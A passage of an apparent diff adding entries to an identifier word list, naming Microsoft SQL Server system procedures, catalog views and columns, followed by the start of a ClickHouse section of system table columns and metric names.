+sp_register_custom_scripting +sp_reinitmergepullsubscription +sp_reinitmergesubscription +sp_reinitpullsubscription +sp_reinitsubscription +sp_release_all_fido_locks +sp_releaseapplock +sp_release_fido_lock +sp_releaseschemalock +sp_remote_data_archive_event +sp_remoteoption +sp_remove_columnstore_column_dictionary +sp_removedbreplication +sp_removedistpublisherdbreplication +sp_removesrvreplication +sp_rename +sp_renamedb +sp_repladdcolumn +sp_replcleanupccsprocs +sp_replcmds +sp_replcounters +sp_replddlparser +sp_repldeletequeuedtran +sp_repldone +sp_repldropcolumn +sp_replflush +sp_repl_generateevent +sp_repl_generate_subscriber_event +sp_repl_generate_sync_status_event +sp_replgetparsedddlcmd +sp_replhelp +sp_replica +sp_replication_agent_checkup +sp_replicationdboption +sp_replincrementlsn +sp_replmonitorchangepublicationthreshold +sp_replmonitorgetoriginalpublisher +sp_replmonitorhelpmergesession +sp_replmonitorhelpmergesessiondetail +sp_replmonitorhelpmergesubscriptionmoreinfo +sp_replmonitorhelppublication +sp_replmonitorhelppublicationthresholds +sp_replmonitorhelppublisher +sp_replmonitorhelpsubscription +sp_replmonitorrefreshjob +sp_replmonitorsubscriptionpendingcmds +sp_replpostsyncstatus +sp_replqueuemonitor +sp_replrestart +sp_replrethrow +sp_replsendtoqueue +sp_replsetoriginator +sp_replsetsyncstatus +sp_replshowcmds +sp_replsqlqgetrows +sp_replsync +sp_repltrans +sp_replwritetovarbin +sp_requestpeerresponse +sp_requestpeertopologyinfo +sp_reserve_http_namespace +sp_reset_connection +sp_reset_session_context +sp_resetsnapshotdeliveryprogress +sp_resetstatus +sp_resign_database +sp_resolve_logins +sp_restoredbreplication +sp_restore_filelistonly +sp_restoremergeidentityrange +sp_resyncexecute +sp_resyncexecutesql +sp_resyncmergesubscription +sp_resyncprepare +sp_resyncuniquetable +sp_revokedbaccess +sp_revokelogin +sp_revoke_publication_access +sp_rollback_parallel_nested_tran +sp_schemafilter +sp_schemata_rowset +sp_scriptdelproc +sp_scriptdynamicupdproc +sp_scriptinsproc +sp_scriptmappedupdproc +sp_scriptpublicationcustomprocs +sp_script_reconciliation_delproc +sp_script_reconciliation_insproc +sp_script_reconciliation_sinsproc +sp_script_reconciliation_vdelproc +sp_script_reconciliation_xdelproc +sp_scriptsinsproc +sp_scriptsubconflicttable +sp_scriptsupdproc +sp_script_synctran_commands +sp_scriptupdproc +sp_scriptvdelproc +sp_scriptvupdproc +sp_scriptxdelproc +sp_scriptxupdproc +sp_sequence_get_range +sp_server_diagnostics +sp_server_info +sp_serveroption +sp_setapprole +sp_SetAutoSAPasswordAndDisable +sp_set_data_processed_limit +sp_setdefaultdatatypemapping +sp_set_distributed_query_context +sp_setnetname +sp_SetOBDCertificate +sp_setOraclepackageversion +sp_setreplfailovermode +sp_set_session_context +sp_set_session_resource_group +sp_setsubscriptionxactseqno +sp_settriggerorder +sp_setuserbylogin +sp_showcolv +sp_showinitialmemo_xml +sp_showlineage +sp_showmemo_xml +sp_show_openrowset_statistics +sp_showpendingchanges +sp_showrowreplicainfo +sp_sm_detach +sp_spaceused +sp_spaceused_remote_data_archive +sp_sparse_columns_100_rowset +sp_special_columns +sp_special_columns_100 +sp_special_columns_90 +sp_sproc_columns +sp_sproc_columns_100 +sp_sproc_columns_90 +sp_sqlagent_add_job +sp_sqlagent_add_jobstep +sp_sqlagent_delete_job +sp_sqlagent_help_jobstep +sp_sqlagent_log_job_history +sp_sqlagent_start_job +sp_sqlagent_stop_job +sp_sqlagent_verify_database_context +sp_sqlagent_write_jobstep_log +sp_sqlexec +sp_sqljdbc_xa_install +sp_sqljdbc_xa_uninstall +sp_srvrolepermission +sp_start_fixed_vlf +sp_startmergepullsubscription_agent +sp_startmergepushsubscription_agent +sp_startpublication_snapshot +sp_startpullsubscription_agent +sp_startpushsubscription_agent +sp_start_streaming_job +sp_start_user_instance +sp_statistics +sp_statistics_100 +sp_statistics_rowset +sp_statistics_rowset2 +sp_stopmergepullsubscription_agent +sp_stopmergepushsubscription_agent +sp_stoppublication_snapshot +sp_stoppullsubscription_agent +sp_stoppushsubscription_agent +sp_stop_streaming_job +sp_stored_procedures +sp_subscribe +sp_subscription_cleanup +sp_subscriptionsummary +sp_synapse_link_enable_db +sp_synapse_link_enable_table +sp_syspolicy_execute_policy +sp_syspolicy_subscribe_to_policy_category +sp_syspolicy_unsubscribe_from_policy_category +sp_syspolicy_update_ddl_trigger +sp_syspolicy_update_event_notification +sp_tablecollations +sp_tablecollations_100 +sp_tablecollations_90 +sp_table_constraints_rowset +sp_table_constraints_rowset2 +sp_tableoption +sp_table_privileges +sp_table_privileges_ex +sp_table_privileges_rowset +sp_table_privileges_rowset2 +sp_table_privileges_rowset_rmt +sp_tables +sp_tables_ex +sp_tables_info_90_rowset +sp_tables_info_90_rowset2 +sp_tables_info_90_rowset2_64 +sp_tables_info_90_rowset_64 +sp_tables_info_rowset +sp_tables_info_rowset2 +sp_tables_info_rowset2_64 +sp_tables_info_rowset_64 +sp_tables_rowset +sp_tables_rowset2 +sp_tables_rowset_rmt +sp_table_statistics2_rowset +sp_table_statistics_rowset +sp_tableswc +sp_table_type_columns_100 +sp_table_type_columns_100_rowset +sp_table_type_pkeys +sp_table_type_primary_keys_rowset +sp_table_types +sp_table_types_rowset +sp_table_validation +sp_testlinkedserver +spt_fallback_db +spt_fallback_dev +spt_fallback_usg +spt_monitor +sp_trace_create +sp_trace_generateevent +sp_trace_getdata +sp_trace_setevent +sp_trace_setfilter +sp_trace_setstatus +sp_try_set_session_context +spt_values +sp_unbindefault +sp_unbindrule +sp_unprepare +sp_unregistercustomresolver +sp_unregister_custom_scripting +sp_unsetapprole +sp_unsubscribe +sp_update_agent_profile +sp_updateextendedproperty +sp_update_logical_pause_flag +sp_updatestats +sp_update_user_instance +sp_upgrade_log_shipping +sp_user_counter1 +sp_user_counter10 +sp_user_counter2 +sp_user_counter3 +sp_user_counter4 +sp_user_counter5 +sp_user_counter6 +sp_user_counter7 +sp_user_counter8 +sp_user_counter9 +sp_usertypes_rowset +sp_usertypes_rowset2 +sp_usertypes_rowset_rmt +sp_validatecache +sp_validatelogins +sp_validatemergepublication +sp_validatemergepullsubscription +sp_validatemergesubscription +sp_validate_redirected_publisher +sp_validate_replica_hosts_as_publishers +sp_validlang +sp_validname +sp_verify_database_ledger +sp_verifypublisher +sp_views_rowset +sp_views_rowset2 +sp_vupgrade_mergeobjects +sp_vupgrade_mergetables +sp_vupgrade_mergetables_v2 +sp_vupgrade_replication +sp_vupgrade_replsecurity_metadata +sp_who +sp_who2 +sp_xa_commit +sp_xa_end +sp_xa_forget +sp_xa_forget_ex +sp_xa_init +sp_xa_init_ex +sp_xa_prepare +sp_xa_prepare_ex +sp_xa_recover +sp_xa_rollback +sp_xa_rollback_ex +sp_xa_start +sp_xcs_mark_column_relation +sp_xml_preparedocument +sp_xml_removedocument +sp_xml_schema_rowset +sp_xml_schema_rowset2 +sp_xp_cmdshell_proxy_account +sp_xtp_bind_db_resource_pool +sp_xtp_checkpoint_force_garbage_collection +sp_xtp_control_proc_exec_stats +sp_xtp_control_query_exec_stats +sp_xtp_flush_temporal_history +sp_xtp_kill_active_transactions +sp_xtp_merge_checkpoint_files +sp_xtp_objects_present +sp_xtp_set_memory_quota +sp_xtp_slo_can_downgrade +sp_xtp_slo_downgrade_finished +sp_xtp_slo_prepare_to_downgrade +sp_xtp_unbind_db_resource_pool +sql +sqlagent_job_history +sqlagent_jobs +sqlagent_jobsteps +sqlagent_jobsteps_logs +sqlbytes +sqlcrypt_version +SQL_DATA_ACCESS +sql_db_id +sql_dependencies +SqlDumperDumpFlags +SqlDumperDumpPath +SqlDumperDumpTimeOut +sql_expression_dependencies +sql_handle +SqlHandle +sql_logins +sql_memory_model +sql_memory_model_desc +sql_message_id +sql_modules +SQL_PATH +sql_plan_node_id +sql_prof_address +sqlserver_start_time +sqlserver_start_time_ms_ticks +sql_severity +sql_spid +sql_text +sql_variant +srvcollation +srvid +srvname +srvnetname +srvproduct +srvstatus +ssl_port +ssrv +stack_address +stack_base_address +stack_bytes_committed +stack_bytes_used +stack_checker_address +stack_end_address +stack_size_in_bytes +stage +stale_query_threshold_days +start_column_id +start_date +started_by_sqlservr +started_count +start_entry_point +start_log_block_id +start_lsn +start_quantum +start_step_id +start_time +StartTime +start_time_utc +startup_state +startup_time +startup_type +startup_type_desc +start_value +START_VALUE +statblob +state +State +state_desc +state_description +state_machine_name +statement +statement_context_id +statement_end_offset +statement_line_number +statement_offset_begin +statement_offset_end +statement_offset_start +statement_sql_handle +statement_start_offset +statement_type +statistical_semantics +statistics_start_time +stats +stats_blob +stats_column_id +stats_columns +stats_enabled +stats_generation_method +stats_generation_method_desc +stats_id +stats_schema_ver +status +status2 +status_desc +status_description +statussequence +status_time +StatVersion +stdev_clr_time +stdev_cpu_time +stdev_dop +stdev_duration +stdev_log_bytes_used +stdev_logical_io_reads +stdev_logical_io_writes +stdev_num_physical_io_reads +stdev_page_server_io_reads +stdev_physical_io_reads +stdev_query_max_used_memory +stdev_query_wait_time_ms +stdev_rowcount +stdev_tempdb_space_used +stdev_time +step_count +step_id +step_index +step_name +step_number +steps +step_uid +stmt_end +stmt_start +stop_entry_point +stoplist_id +stoplistid +stop_time +stopword +storage_key +storage_pool_id +storage_pool_node_name +storage_space_used_mb +stream_id +string_delimiter +string_description +string_sid +strong_refcount +sub +subclass_name +subclass_value +subentity_name +subid +subid_push +subid_tran +subject +sublatch_address +submit_time +subobjid +subsystem +subsystem_dll +subsystem_id +succeeded +success +Success +sumsquare_clr_time +sumsquare_cpu_time +sumsquare_dop +sumsquare_duration +sumsquare_log_bytes_used +sumsquare_logical_io_reads +sumsquare_logical_io_writes +sumsquare_num_physical_io_reads +sumsquare_page_server_io_reads +sumsquare_physical_io_reads +sumsquare_query_max_used_memory +sumsquare_query_wait_time_ms +sumsquare_rowcount +sumsquare_tempdb_space_used +superlatch_address +supports_alternate_streams +supports_compression +supports_sparse_files +suppress_dup_key_messages +survived_memory_kb +suspend_reason +suspend_reason_desc +svcbrkrguid +svccontr +svcid +sweep_rows_expired +sweep_rows_expired_removed +sweep_rows_expiring +sweep_rows_touched +sweep_scan_retries +sweep_scans_started +symbol_space +symbol_space_desc +symmetric_key_export +symmetric_key_id +symmetric_key_import +symmetric_key_persistance +symmetric_keys +symmetric_key_support +symspace +sync_action +synchronization_health +synchronization_health_desc +synchronization_state +synchronization_state_desc +sync_id +sync_reason +sync_result +synonyms +sysadmin +sysallocunits +sysaltfiles +sysasymkeys +sysaudacts +sysbinobjs +sysbinsubobjs +sysbrickfiles +syscacheobjects +syscerts +syscharsets +syschildinsts +sysclones +sysclsobjs +syscolpars +syscolumns +syscomments +syscommittab +syscompfragments +sysconfigures +sysconstraints +sysconvgroup +syscscolsegments +syscscontainers +syscsdictionaries +syscsrowgroups +syscurconfigs +syscursorcolumns +syscursorrefs +syscursors +syscursortables +sysdatabases +sysdbfiles +sysdbfrag +sysdbpath +sysdbreg +sysdepends +sysdercv +sysdesend +sysdevices +sysendpts +sysextendedrecoveryforks +sysextfileformats +sysextsources +sysexttables +sysfgfrag +sysfilegroups +sysfiles +sysfiles1 +sysfoqueues +sysforeignkeys +sysfos +sysftinds +sysftproperties +sysftsemanticsdb +sysftstops +sysfulltextcatalogs +sysguidrefs +sysidxstats +sysindexes +sysindexkeys +sysiscols +syslanguages +syslnklgns +syslockinfo +syslogins +syslogshippers +sysmatrixageforget +sysmatrixages +sysmatrixbricks +sysmatrixconfig +sysmatrixmanagers +sysmembers +sysmessages +sysmultiobjrefs +sysmultiobjvalues +sysname +sysnsobjs +sysobjects +sysobjkeycrypts +sysobjvalues +sysoledbusers +sysopentapes +sysowners +sysperfinfo +syspermissions +sysphfg +syspriorities +sysprivs +sysprocesses +sysprotects +syspru +sysprufiles +sysqnames +sysreferences +sysremotelogins +sysremsvcbinds +sysrmtlgns +sysrowsetrefs +sysrowsets +sysrscols +sysrts +sysscalartypes +sysschobjs +sysseobjvalues +sysseq +sysservers +syssingleobjrefs +syssoftobjrefs +syssqlguides +sysstat +system +system_aborts +system_cache_kb +system_columns +system_components_surface_area_configuration +system_high_memory_signal_state +system_internals_allocation_units +system_internals_partition_columns +system_internals_partitions +system_lookups +system_low_memory_signal_state +system_memory_state_desc +system_objects +system_parameters +system_scans +system_seeks +system_sequence +system_sql_modules +system_time_cs +system_type_id +system_type_name +system_updates +system_views +systypedsubobjs +systypes +sysusermsgs +sysusers +syswebmethods +sysxlgns +sysxmitbody +sysxmitqueue +sysxmlcomponent +sysxmlfacet +sysxmlplacement +sysxprops +sysxsrvs +tabid +table_address +table_alter_failures +table_alter_successes +TABLE_CATALOG +TABLE_CONSTRAINTS +table_create_failures +table_create_not_eligible +table_create_successes +table_directory_name +table_drop_failures +table_drop_successes +table_hashes +table_id +table_level +table_name +TABLE_NAME +table_owner +TABLE_PRIVILEGES +tables +TABLES +TABLE_SCHEMA +tables_in_source +tables_to_alter +tables_to_create +tables_to_drop +TABLE_TYPE +table_types +tabname +tabschema +tag +tail_cache_max_page_count +tail_cache_min_needed_lsn +tail_cache_page_count +tape_operation +tape_operation_desc +target +target_allocations_kb +target_data +target_database_principal_id +target_database_principal_name +target_id +target_kb +TargetLoginName +TargetLoginSid +target_memory_kb +target_name +target_object_id +target_package_guid +target_private_pool_size +target_recovery_time_in_seconds +target_schema_name +target_server_principal_id +target_server_principal_name +target_server_principal_sid +target_table_name +target_type +TargetUserName +task_address +task_bound_ms_ticks +task_id +task_memory_object_address +task_proxy_address +task_retries +tasks_processed_count +task_state +task_state_desc +tasks_waiting +task_type +task_type_desc +tbl_server_resource_stats +tcp_endpoints +tdefault +tdscollation +temporal_type +temporal_type_desc +tessellation_scheme +text +TextData +textinfo_address +text_in_row_limit +TextPtr +text_size +texttype +tgid +thread_address +thread_count +thread_handle +thread_id +thread_type +thread_type_desc +threshold +threshold_factor +thumbprint +ti +ticks_at_cycle_end +ticks_at_cycle_start +time +time_consumed +timelimit +timeout +timeout_error_count +timeout_sec +time_queued +timer_task_affinity_mask +time_since_last_close_in_ms +time_since_last_use +time_source +time_source_desc +timestamp +TimeStamp +timestamp_utc +time_to_generate +time_to_live +time_utc +time_zone +time_zone_info +tinyint +tinyprop +tinyprop1 +tinyprop2 +tinyprop3 +tinyprop4 +tobrkrinst +to_broker_instance +token +to_object_id +topologyx +topologyy +to_service_name +tosvc +total_aborts +total_actions_scheduled +total_allocated_memory_kb +total_bind_cpu_time +total_bind_duration +total_bucket_count +total_buffer_size +total_bytes +total_bytes_generated +total_bytes_received +total_bytes_sent +total_cache_misses +total_cell_count +total_clr_time +total_columnstore_segment_reads +total_columnstore_segment_skips +total_compile_duration +total_compile_memory_kb +total_count +total_cpu_active_ms +total_cpu_delayed_ms +total_cpu_idle_capped_ms +total_cpu_kernel_ms +total_cpu_limit_violation_count +total_cpu_time +total_cpu_usage +total_cpu_usage_ms +total_cpu_usage_preemptive_ms +total_cpu_user_ms +total_cpu_violation_delay_ms +total_cpu_violation_sec +total_dequeues +total_disk_io_wait_time_ms +total_disk_reads +total_dop +total_duration +total_elapsed_time +total_elapsed_time_ms +total_enqueues +total_errors +total_evicted_session_count +total_execution_time +total_forks_cnt +total_fragments_received +total_fragments_sent +total_grant_kb +total_ideal_grant_kb +total_inrow_version_payload_size_in_bytes +total_kb +total_kernel_time +total_large_buffers +total_lock_wait_count +total_lock_wait_time_ms +total_log_bytes_used +total_logical_io_reads +total_logical_io_writes +total_logical_reads +total_logical_writes +total_log_size_in_bytes +total_log_size_mb +total_memgrant_count +total_memgrant_timeout_count +total_memory_kb +total_network_wait_time_ms +total_num_page_server_reads +total_num_physical_io_reads +total_num_physical_reads +total_operation_count +total_optimize_cpu_time +total_optimize_duration +total_overlap +total_page_count +total_page_file_kb +total_pages +total_page_server_io_reads +total_page_server_reads +total_parse_cpu_time +total_parse_duration +total_physical_io_reads +total_physical_memory_kb +total_physical_reads +total_poor_row_groups_analyzed +total_processor_elapsed_time +total_processor_time_ms +total_query_max_used_memory +total_query_optimization_count +total_query_wait_time_ms +total_queued_request_count +total_read +total_receives +total_reduced_memgrant_count +total_regular_buffers +total_request_count +total_request_execution_timeouts +total_requests +total_reserved_threads +total_resource_grant_timeouts +total_rowcount +total_row_groups_analyzed +total_rows +total_rows_analyzed +total_scheduled_time +total_scheduler_delay_ms +total_sends +total_sessions +total_shared_resource_requests +total_size +total_spills +total_suboptimal_plan_generation_count +total_target_memory +total_tempdb_space_used +total_used_grant_kb +total_used_threads +total_user_elapsed_time +total_user_time +total_virtual_address_space_kb +total_vlf_count +total_wait_time_in_ms +total_worker_time +total_write +totcpu +totio +trace_categories +trace_column_id +trace_columns +trace_event_bindings +trace_event_id +trace_events +traceid +traces +trace_subclass_values +trace_xe_action_map +trace_xe_event_map +track_causality +tran_count +transaction_begin_time +transaction_description +transaction_descriptor +transaction_diag_status +transaction_id +TransactionID +transaction_isolation_level +transaction_is_snapshot +transaction_manager_database_id +transaction_manager_database_name +transaction_manager_dbid +transaction_manager_rmid +transaction_manager_server_name +transaction_ordinal +transaction_phase_1_time +transaction_phase_2_time +transaction_sequence_num +transactions_root_hash +transaction_state +transaction_status +transaction_status2 +transaction_timeout +transaction_total_time +transaction_type +transaction_uow +transfer_rate_bytes_per_second +transferred_size_bytes +transition_to_compressed_state +transition_to_compressed_state_desc +transmission_queue +transmission_status +transport_stream_id +tree_page_io_latch_wait_count +tree_page_io_latch_wait_in_ms +tree_page_latch_wait_count +tree_page_latch_wait_in_ms +trigger_events +trigger_event_types +triggers +trim_reason +trim_reason_desc +truncate_point +truncation_lsn +_trusted_assemblies +trusted_assemblies +ts +tsql_stack +tstat +two_digit_year_cutoff +tx_bytes +tx_carrier +tx_collisions +tx_compressed +tx_drop +tx_end_timestamp +tx_errors +tx_fifo +txn_tag +txn_type +tx_packets +tx_segments_dispatched_count +type +Type +type_assembly_usages +type_column_id +type_desc +typeint +type_name +type_package_guid +types +type_size +typestat +type_table_object_id +TYPE_UDT_CATALOG +TYPE_UDT_NAME +TYPE_UDT_SCHEMA +UDT_CATALOG +UDT_NAME +UDT_SCHEMA +uid +unackmfn +unallocated_extent_page_count +unfiltered_rows +unique_compiles +UNIQUE_CONSTRAINT_CATALOG +UNIQUE_CONSTRAINT_NAME +UNIQUE_CONSTRAINT_SCHEMA +unique_constraint_violations +uniqueidentifier +unique_index_id +unit_conversion_factor +unit_of_measure +unit_of_work +unsuccessful_logons +updadd +updatedate +updated_last_round_count +update_referential_action +update_referential_action_desc +UPDATE_RULE +update_time +updmod +updtrig +upgrade +upgrade_start_level +upgrade_target_level +upper_bound_tsn +uptime_secs +uri +uriord +url_path +usage +use_count +usecounts +used +used_bytes +used_log_space_in_bytes +used_log_space_in_percent +used_memgrant_kb +used_memory_kb +used_page_count +used_pages +used_worker_count +use_identity +user_access +user_access_desc +user_created +user_defined_event_id +user_defined_information +USER_DEFINED_TYPE_CATALOG +USER_DEFINED_TYPE_NAME +USER_DEFINED_TYPE_SCHEMA +useremotecollation +user_id +user_lookups +usermode_time +user_name +username +user_object_reserved_page_count +user_objects_alloc_page_count +user_objects_dealloc_page_count +user_objects_deferred_dealloc_page_count +user_scans +user_seeks +userstat +user_time +user_time_cs +user_token +usertype +user_type_database +user_type_id +user_type_name +user_type_schema +user_updates +uses_ansi_nulls +uses_database_collation +uses_key_normalization +uses_native_compilation +uses_quoted_identifier +uses_remote_collation +uses_self_credential +use_type_default +using_xml_index_id +utype +valclass +validation +validation_desc +validation_failures +valid_since +valnum +value +value_data +value_for_secondary +value_in_use +value_name +value_of_memory +varbinary +varchar +variable +VerboseLogging +version +version_generated_inrow +version_generated_offrow +version_ghost_record_count +version_record_count +version_sequence_num +version_store_reserved_page_count +via_endpoints +VIEW_CATALOG +VIEW_COLUMN_USAGE +VIEW_DEFINITION +VIEW_NAME +views +VIEWS +VIEW_SCHEMA +VIEW_TABLE_USAGE +virtual_address_space_available_kb +virtual_address_space_committed_kb +virtual_address_space_reserved_kb +virtual_bytes +virtual_bytes_peak +virtual_core_count +virtual_machine_type +virtual_machine_type_desc +virtual_memory_committed_kb +virtual_memory_kb +virtual_memory_reserved_kb +visible_target_kb +vlf_active +vlf_begin_offset +vlf_create_lsn +vlf_encryptor_thumbprint +vlf_first_lsn +vlf_parity +vlf_sequence_number +vlf_size_mb +vlf_status +vm_metric_name +volume_id +volume_mount_point +volume_name +vstart +wait_category +wait_category_desc +wait_duration +wait_duration_ms +waiter_count +wait_id +waiting_requests_count +waiting_task_address +waiting_tasks_count +waiting_threads_count +wait_name +wait_order +wait_reason +wait_resource +waitresource +wait_resumed_ms_ticks +waits_for_io_count +waits_for_new_log_count +wait_started_ms_ticks +wait_stats_capture_mode +wait_stats_capture_mode_desc +wait_stats_id +wait_time +waittime +wait_time_before_idle +wait_time_ms +wait_type +waittype +warm_cold_check_ticks +warm_count +weak_refcount +weight +weighted_io_time_ms +well_known_text +windows_release +windows_service_pack_level +windows_sku +with_check_option +witnesssequence +worker_address +worker_count +worker_created_ms_ticks +worker_migration_count +worker_time +work_id +working_set +workingset_limit_mb +working_set_peak +working_set_private +workitem_type +workitem_version +work_queue_count +workspace_name +write_access +write_bytes_total +write_conflicts +write_count +write_io_completed_total +write_io_count +write_io_issued_total +write_io_queued_total +write_io_stall_queued_ms +write_io_stall_total_ms +write_io_throttled_total +write_lease_remaining_ticks +write_operation_count +write_page_count +writes +Writes +writes_completed +write_set_row_count +writes_merged +write_time +write_time_ms +write_version +wsdl_generator_procedure +wsdlproc +wszArtdelcmd +wszArtdesttable +wszArtdesttableowner +wszArtinscmd +wszArtpartialupdcmd +wszArtupdcmd +xacts_copied_to_local +XactSequence +xacts_in_gen_0 +xacts_in_gen_1 +xacts_in_gen_10 +xacts_in_gen_11 +xacts_in_gen_12 +xacts_in_gen_13 +xacts_in_gen_14 +xacts_in_gen_15 +xacts_in_gen_2 +xacts_in_gen_3 +xacts_in_gen_4 +xacts_in_gen_5 +xacts_in_gen_6 +xacts_in_gen_7 +xacts_in_gen_8 +xacts_in_gen_9 +xdes_id +xdesid +xdes_ts_push +xdes_ts_tran +xdttm_ins +xdttm_last_ins_upd +xe_action_name +xe_event_name +xfallback_dbid +xfallback_drive +xfallback_low +xfallback_vstart +xmaxlen +xml +xml_collection_database +xml_collection_id +xml_collection_name +xml_collection_schema +xml_component_id +xml_data +xml_indexes +xml_index_type +xml_index_type_description +xml_namespace_id +xmlns +xml_schema_attributes +xml_schema_collections +xml_schema_component_placements +xml_schema_components +xml_schema_elements +xml_schema_facets +xml_schema_model_groups +xml_schema_namespaces +xml_schema_types +xml_schema_wildcard_namespaces +xml_schema_wildcards +xoffset +xp_availablemedia +xp_cmdshell +xp_copy_file +xp_copy_files +xp_create_subdir +xp_delete_file +xp_delete_files +xp_dirtree +xp_enumerrorlogs +xp_enumgroups +xp_enum_oledb_providers +xp_fileexist +xp_fixeddrives +xp_getnetname +xp_get_tape_devices +xp_grantlogin +xp_instance_regaddmultistring +xp_instance_regdeletekey +xp_instance_regdeletevalue +xp_instance_regenumkeys +xp_instance_regenumvalues +xp_instance_regread +xp_instance_regremovemultistring +xp_instance_regwrite +xp_logevent +xp_loginconfig +xp_logininfo +xp_msver +xp_msx_enlist +xp_passAgentInfo +xp_prop_oledb_provider +xp_qv +xp_readerrorlog +xprec +xp_regaddmultistring +xp_regdeletekey +xp_regdeletevalue +xp_regenumkeys +xp_regenumvalues +xp_regread +xp_regremovemultistring +xp_regwrite +xp_repl_convert_encrypt_sysadmin_wrapper +xp_replposteor +xp_revokelogin +xp_servicecontrol +xp_sprintf +xp_sqlagent_enum_jobs +xp_sqlagent_is_starting +xp_sqlagent_monitor +xp_sqlagent_notify +xp_sqlagent_param +xp_sqlmaint +xp_sscanf +xp_subdirs +xp_sysmail_activate +xp_sysmail_attachment_load +xp_sysmail_format_query +xquery_max_length +xquery_type_description +xscale +xsdid +xserver_name +xtp_address +xtp_description +xtp_log_bytes_consumed +xtp_object_id +xtp_parent_transaction_id +xtp_parent_transaction_node_id +xtp_transaction_id +xtype +xusertype +yield_count +zone_type + +[ClickHouse] +absolute_delay +access_object +access_type +active +active_children +active_on_fly_alter_mutations +active_on_fly_data_mutations +active_on_fly_metadata_mutations +active_parts +active_replicas +additional_format_info +address +address_begin +address_end +age +aggregate_function_combinators +aliases +alias_for +alias_to +allocations +allow_dynamic_cache_resize +allow_readonly +alnum +alphabetic +alterable +apply_to_all +apply_to_except +apply_to_list +arguments +ascii_hex_digit +as_select +asynchronous_inserts +asynchronous_loader +asynchronous_metric_log +asynchronous_metrics +asynchronous_read_counters +authenticated_user +auth_params +auth_type +azure_queue +azure_queue_settings +background_download_max_file_segment_size +background_download_queue_size_limit +background_download_threads +background_schedule_pool +background_schedule_pool_log +backups +base_backup_name +basic_emoji +belongs +bidi_class +bidi_control +bidi_mirrored +bidi_mirroring_glyph +bidi_paired_bracket +bidi_paired_bracket_type +blank +block +boundary_alignment +broken_data_compressed_bytes +broken_data_files +budget +build_id +build_options +busy_periods +bypass_cache_threshold +bytes +bytes_allocated +bytes_on_disk +bytes_read +bytes_read_compressed +bytes_read_uncompressed +bytes_uncompressed +bytes_written_uncompressed +cache_base_path +cached_at +cache_hits +cache_hits_threshold +cache_name +cache_on_write_operations +cache_path +cache_paths +cache_policy +can_become_leader +canceled_cost +canceled_requests +canonical_combining_class +cardinality +CARDINALITY +cased +case_folding +case_ignorable +case_insensitive +case_sensitive +catalog_name +CATALOG_NAME +categories +certificates +changeable_without_restart +changed +changes +changes_when_casefolded +changes_when_casemapped +changes_when_lowercased +changes_when_nfkc_casefolded +changes_when_titlecased +changes_when_uppercased +character_maximum_length +CHARACTER_MAXIMUM_LENGTH +character_octet_length +CHARACTER_OCTET_LENGTH +character_set_catalog +CHARACTER_SET_CATALOG +character_set_name +CHARACTER_SET_NAME +character_sets +CHARACTER_SETS +character_set_schema +CHARACTER_SET_SCHEMA +check_option +CHECK_OPTION +client_hostname +client_name +client_revision +client_version_major +client_version_minor +client_version_patch +cluster +clusters +code +codecs +code_point +code_point_value +collation +COLLATION +collation_catalog +COLLATION_CATALOG +collation_name +COLLATION_NAME +collations +COLLATIONS +collation_schema +COLLATION_SCHEMA +collection +column +column_bytes_on_disk +column_comment +COLUMN_COMMENT +column_data_compressed_bytes +column_data_uncompressed_bytes +column_default +COLUMN_DEFAULT +column_marks_bytes +column_modification_time +column_name +COLUMN_NAME +column_position +columns +COLUMNS +columns_descriptions_cache_size +columns_version +columns_written +column_ttl_max +column_ttl_min +column_type +COLUMN_TYPE +command +comment +COMMENT +common_prefix_for_blobs +completions +compressed +compressed_size +compression_codec +condition +condition_hash +config_name +constraint_catalog +CONSTRAINT_CATALOG +constraint_name +CONSTRAINT_NAME +constraint_schema +CONSTRAINT_SCHEMA +consumer_id +content_type +context +contributors +cpu_id +create_query +create_table_query +create_time +creation_csn +creation_tid +current_database +current_elements_num +CurrentMetric_ActiveTimersInQueryProfiler +CurrentMetric_AddressesActive +CurrentMetric_AddressesBanned +CurrentMetric_AggregatorThreads +CurrentMetric_AggregatorThreadsActive +CurrentMetric_AggregatorThreadsScheduled +CurrentMetric_AsynchronousInsertQueueBytes +CurrentMetric_AsynchronousInsertQueueSize +CurrentMetric_AsynchronousInsertThreads +CurrentMetric_AsynchronousInsertThreadsActive +CurrentMetric_AsynchronousInsertThreadsScheduled +CurrentMetric_AsynchronousReadWait +CurrentMetric_AsyncInsertCacheSize +CurrentMetric_AttachedDatabase +CurrentMetric_AttachedDictionary +CurrentMetric_AttachedReplicatedTable +CurrentMetric_AttachedTable +CurrentMetric_AttachedView +CurrentMetric_AvroSchemaCacheBytes +CurrentMetric_AvroSchemaCacheCells +CurrentMetric_AvroSchemaRegistryCacheBytes +CurrentMetric_AvroSchemaRegistryCacheCells +CurrentMetric_AzureRequests +CurrentMetric_BackgroundBufferFlushSchedulePoolSize +CurrentMetric_BackgroundBufferFlushSchedulePoolTask +CurrentMetric_BackgroundCommonPoolSize +CurrentMetric_BackgroundCommonPoolTask +CurrentMetric_BackgroundDistributedSchedulePoolSize +CurrentMetric_BackgroundDistributedSchedulePoolTask +CurrentMetric_BackgroundFetchesPoolSize +CurrentMetric_BackgroundFetchesPoolTask +CurrentMetric_BackgroundMergesAndMutationsPoolSize +CurrentMetric_BackgroundMergesAndMutationsPoolTask +CurrentMetric_BackgroundMessageBrokerSchedulePoolSize +CurrentMetric_BackgroundMessageBrokerSchedulePoolTask +CurrentMetric_BackgroundMovePoolSize +CurrentMetric_BackgroundMovePoolTask +CurrentMetric_BackgroundSchedulePoolSize +CurrentMetric_BackgroundSchedulePoolTask +CurrentMetric_BackupsIOThreads +CurrentMetric_BackupsIOThreadsActive +CurrentMetric_BackupsIOThreadsScheduled +CurrentMetric_BackupsThreads +CurrentMetric_BackupsThreadsActive +CurrentMetric_BackupsThreadsScheduled +CurrentMetric_BcryptCacheBytes +CurrentMetric_BcryptCacheSize +CurrentMetric_BrokenDisks +CurrentMetric_BrokenDistributedBytesToInsert +CurrentMetric_BrokenDistributedFilesToInsert +CurrentMetric_BuildVectorSimilarityIndexThreads +CurrentMetric_BuildVectorSimilarityIndexThreadsActive +CurrentMetric_BuildVectorSimilarityIndexThreadsScheduled +CurrentMetric_CacheDetachedFileSegments +CurrentMetric_CacheDictionaryThreads +CurrentMetric_CacheDictionaryThreadsActive +CurrentMetric_CacheDictionaryThreadsScheduled +CurrentMetric_CacheDictionaryUpdateQueueBatches +CurrentMetric_CacheDictionaryUpdateQueueKeys +CurrentMetric_CacheFileSegments +CurrentMetric_CacheWarmerBytesInProgress +CurrentMetric_ColumnsDescriptionsCacheSize 